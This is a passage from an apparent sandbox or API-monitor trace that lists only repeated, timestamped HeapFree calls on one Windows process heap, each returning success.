out: hHeap=0x660000) returned 1 [0153.019] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0153.020] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0153.022] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0153.023] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0153.025] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0153.026] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0153.027] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0153.028] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0153.029] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0153.031] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0153.032] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0153.033] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0153.034] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0153.034] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0153.035] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0153.035] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0153.035] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0153.305] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0153.305] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6e5148 | out: hHeap=0x660000) returned 1 [0153.307] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0153.307] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0153.308] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6e5148 | out: hHeap=0x660000) returned 1 [0153.308] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0153.309] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6e5148 | out: hHeap=0x660000) returned 1 [0153.309] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0153.310] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6e5148 | out: hHeap=0x660000) returned 1 [0153.311] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0153.312] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0153.313] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0153.315] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0153.315] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0153.315] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0153.315] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6e5148 | out: hHeap=0x660000) returned 1 [0153.316] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6e5148 | out: hHeap=0x660000) returned 1 [0153.316] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0153.316] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0153.317] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0153.318] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0153.318] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6e5148 | out: hHeap=0x660000) returned 1 [0153.319] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0153.320] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6e5148 | out: hHeap=0x660000) returned 1 [0153.321] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6e5148 | out: hHeap=0x660000) returned 1 [0153.322] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0153.322] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0153.322] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6e5148 | out: hHeap=0x660000) returned 1 [0153.323] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0153.323] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0153.323] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6e5148 | out: hHeap=0x660000) returned 1 [0153.333] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0153.345] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0153.348] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0153.603] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0153.605] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0153.606] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0153.606] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0153.608] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0153.610] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0153.871] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0153.871] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0153.942] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0153.947] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0153.948] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0153.948] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0153.948] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0153.948] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0153.948] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0153.953] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0153.954] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0153.964] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0153.967] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0153.968] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0153.997] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0153.997] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0154.021] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0154.047] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0154.047] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0154.047] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.056] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.056] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.056] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0154.429] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.429] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.434] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0154.434] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.434] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0154.437] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.437] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.438] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0154.438] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.438] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0154.441] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.443] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.445] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.447] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0154.447] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.447] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0154.451] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.451] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.451] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0154.453] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.453] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.453] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0154.455] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.459] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0154.460] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0154.461] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0154.461] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.462] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.464] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.465] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0154.465] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.467] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0154.467] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0154.468] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0154.468] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0154.468] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0154.469] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0154.469] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0154.469] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0154.470] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.471] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0154.471] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0154.471] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0154.472] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.752] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.753] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.753] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.753] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0154.755] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.755] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.755] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0154.758] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.761] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0154.763] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0154.764] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0154.764] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.765] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.766] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0154.766] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.770] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0154.771] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0154.771] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0154.771] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0154.772] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0154.772] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0154.772] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0154.772] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0154.773] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.775] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0154.775] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0154.775] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0154.776] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.777] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.777] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.778] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.778] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0154.790] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.791] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.791] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0154.825] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0154.829] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0154.831] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0154.831] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0154.831] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0155.249] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0155.259] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0155.259] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0155.274] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0155.274] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0155.274] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0155.276] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0155.276] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0155.277] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0155.277] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0155.277] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0155.278] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0155.280] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0155.280] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0155.280] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0155.281] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0155.889] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0155.912] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0155.913] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0155.913] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0155.913] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0155.913] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0155.917] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0155.918] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0155.918] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0155.919] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0155.920] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0155.920] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0155.920] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0155.920] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0155.920] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0155.921] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0155.923] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0155.924] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0155.925] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0156.236] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0156.242] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddb8 | out: hHeap=0x660000) returned 1 [0156.242] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0156.244] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddb8 | out: hHeap=0x660000) returned 1 [0156.246] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddb8 | out: hHeap=0x660000) returned 1 [0156.246] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0156.246] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0156.264] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0156.264] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.264] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.264] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.264] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.272] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0156.272] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0156.272] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.275] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddb8 | out: hHeap=0x660000) returned 1 [0156.275] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0156.275] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0156.275] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.280] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.281] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.281] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0156.286] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.287] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.287] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0156.290] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.290] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.290] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0156.297] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.301] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.539] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.539] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0156.540] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.540] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.540] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | 